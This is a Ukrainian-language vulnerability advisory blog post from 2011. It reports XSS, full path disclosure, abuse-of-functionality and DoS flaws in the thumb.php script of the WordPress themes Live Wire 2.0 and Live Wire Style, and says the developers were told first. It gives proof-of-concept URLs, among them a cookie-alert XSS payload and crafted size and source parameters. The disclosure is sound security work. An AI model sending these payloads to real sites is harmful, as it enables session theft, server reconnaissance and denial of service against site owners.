Websecurity - Веб безпека

05.02.2011

У лютому, 02.02.2011, я знайшов Cross-Site Scripting, Full path disclosure, Abuse of Functionality та Denial of Service уразливості в темах Live Wire 2.0 та Live Wire Style для WordPress. Це ще дві теми, що разом з Live Wire Edition входять до серії Live Wire. І вони також є комерційними шаблонами для WP від WooThemes. Які я виявив на одному сайті, що їх використовує. Про що найближчим часом повідомлю розробникам.

Раніше я вже писав про уразливості в темі The Gazette Edition для WordPress.

Детальна інформація про уразливості з’явиться пізніше. Спочатку повідомлю розробникам тем.

12.04.2011

XSS:

http://site/wp-content/themes/livewire/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg

Full path disclosure:

http://site/wp-content/themes/livewire/thumb.php?src=jpg
http://site/wp-content/themes/livewire/thumb.php?src=http://site/page.png&h=1&w=1111111
http://site/wp-content/themes/livewire/thumb.php?src=http://site/page.png&h=1111111&w=1
http://site/wp-content/themes/livewire/

А також ще 30 php-скриптів шаблону в папці /livewire/ та всіх підпапках.

Abuse of Functionality:

http://site/wp-content/themes/livewire/thumb.php?src=http://site&h=1&w=1

DoS:

http://site/wp-content/themes/livewire/thumb.php?src=http://site/big_file&h=1&w=1

Про подібні AoF та DoS уразливості я писав в статті Використання сайтів для атак на інші сайти.

Окрім папки /livewire/, дані теми також можуть розміщуватися в папках /livewire-dev/ та /livewire-package/ (це пакет, що включає всі три теми Live Wire серії).

Уразливі Live Wire 2.0 та Live Wire Style версія 2.3.1 та попередні версії. XSS можлива лише в старих версіях шаблонів. Після мого попередження, розробник виправив Abuse of Functionality, DoS та деякі FPD, але все ще залишилось багато невиправлених FPD.

This entry was posted on 16:02 12.04.2011 and is filed under Новини сайту, Уразливості. You can follow any responses to this entry through the RSS 2.0 feed.